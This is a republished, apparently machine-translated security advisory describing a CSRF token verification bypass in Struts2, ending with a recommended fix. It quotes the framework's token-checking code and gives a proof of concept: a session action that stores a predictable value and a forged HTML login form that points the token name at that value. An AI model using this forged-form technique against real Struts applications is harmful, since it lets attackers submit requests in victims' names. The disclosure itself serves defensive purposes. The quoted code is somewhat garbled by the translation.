Struts2 Token Verification Bypass (including repair solution)

Source: Internet
Author: User

The token Verification Mechanism of Struts can be used to bypass verification by some odd tricks, so that csrf can be used.
 
Impact scope: Struts2 all version

This vulnerability was discovered by @ Sogili
 
Because the token Verification provided by Struts is based on the struts. token. name submitted by the user client to find the corresponding value in the session, the following code:
Public static boolean validToken (){
String tokenName = getTokenName ();
 
If (tokenName = null ){
If (LOG. isDebugEnabled ()){
LOG. debug ("no token name found-> Invalid token ");
}
Return false;
}
 
String token = getToken (tokenName );
 
If (token = null ){
If (LOG. isDebugEnabled ()){
LOG. debug ("no token found for token name" + tokenName + "-> Invalid token ");
}
Return false;
}
 
Map session = ActionContext. getContext (). getSession ();
String sessionToken = (String) session. get (tokenName );
 
If (! Token. equals (sessionToken )){
If (LOG. isWarnEnabled ()){
LOG. warn (LocalizedTextUtil. findText (TokenHelper. class, "struts. internal. invalid. token ", ActionContext. getContext (). getLocale (), "Form token {0} does not match the session token {1 }. ", new Object [] {
Token, sessionToken
}));
}
 
Return false;
}
 
// Remove the token so it won't be used again
Session. remove (tokenName );
 
Return true;
}
 
 
The tokenName is a parameter submitted by the user:
/** Www.2cto.com
* The name of the field which will hold the token name
*/
Public static final String TOKEN_NAME_FIELD = "struts. token. name ";
 
Public static String getTokenName (){
Map params = ActionContext. getContext (). getParameters ();
 
If (! Params. containsKey (TOKEN_NAME_FIELD )){
If (LOG. isWarnEnabled ()){
LOG. warn ("cocould not find token name in params .");
}
 
Return null;
}
 
String [] tokenNames = (String []) params. get (TOKEN_NAME_FIELD );
String tokenName;
 
If (tokenNames = null) | (tokenNames. length <1 )){
If (LOG. isWarnEnabled ()){
LOG. warn ("Got a null or empty token name .");
}
 
Return null;
}
 
TokenName = tokenNames [0];
 
Return tokenName;
}
 
 
Therefore, as long as we forge the form. token. name: The hidden input value is set to a specific key in a known session, which can bypass the token Value Check of the random string and submit the form legally and reasonably.
Proof of vulnerability:
We simulate a scenario. In general, a website always stores some user information in the session as a cache to avoid the need to take values from the database every time.
 
Here, I used the following code to simulate and directly obtain a nick as the nick name, which is stored in the session. These keys and values are predictable.
 
Import java. util. Map;
Import com. opensymphony. xwork2.ActionContext;
Import com. opensymphony. xwork2.ActionSupport;
 
 
Public class SessionAction extends ActionSupport {
Private String nick;

Public String execute (){
 
// Operate the session here and add our controllable values.
ActionContext actionContext = ActionContext. getContext ();
Map session = actionContext. getSession ();
If (nick! = Null ){
Session. put ("nick", nick. trim ());
}
Return "success ";
 
}
 
Public String getNick (){
System. out. println ("getNick ");
Return nick;
}
 
 
Public void setNick (String nick ){
System. out. println ("setNIck ");
This. nick = nick;
}
 
}
 
 
Next, let's access this action to make our session have a predictable nick value (usually the nickname registered by the user ).
 
Http://www.bkjia.com/st/session. action? Nick = thisIsFakeToken
 
 
Then, we forge another form:
 
<Form id = "login" name = "login" action = "http://www.bkjia.com/st/login. action" method = "post">
<Table class = "wwFormTable">
<Input type = "hidden" name = "struts. token. name" value = "nick"/>
<Input type = "hidden" name = "nick" value = "thisfaketoken"/>
<Tr>
<Td class = "tdLabel"> <label for = "login_username" class = "label"> User name: </label> </td>
<Td
> <Input type = "text" name = "username" value = "" id = "login_username"/> </td>
</Tr>
 
<Tr>
<Td class = "tdLabel"> <label for = "login_password" class = "label"> password: </label> </td>
<Td
> <Input type = "text" name = "password" value = "" id = "login_password"/> </td>
</Tr>
 
<Tr>
<Td colspan = "2"> <div align = "right"> <input type = "submit" id = "login_0" value = "Logon"/>
</Div> </td>
</Tr>
 
</Table> </form>
 
 
Note that the struts. token. name here is changed to nick, and a hidden value of name = nick is added to the topic content: thisfaketoken. Then, let's submit the following results:
 

 
Submitting the form directly bypasses csrf token verification.
 
Here is the test project that I locally do the test download: http://pan.baidu.com/netdisk/singlepublic? Fid = 174815_3909579610

Solution:

We recommend that you configure token. name using struts. xml, and then obtain the value on the server according to the key in the configuration.


GaRY

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.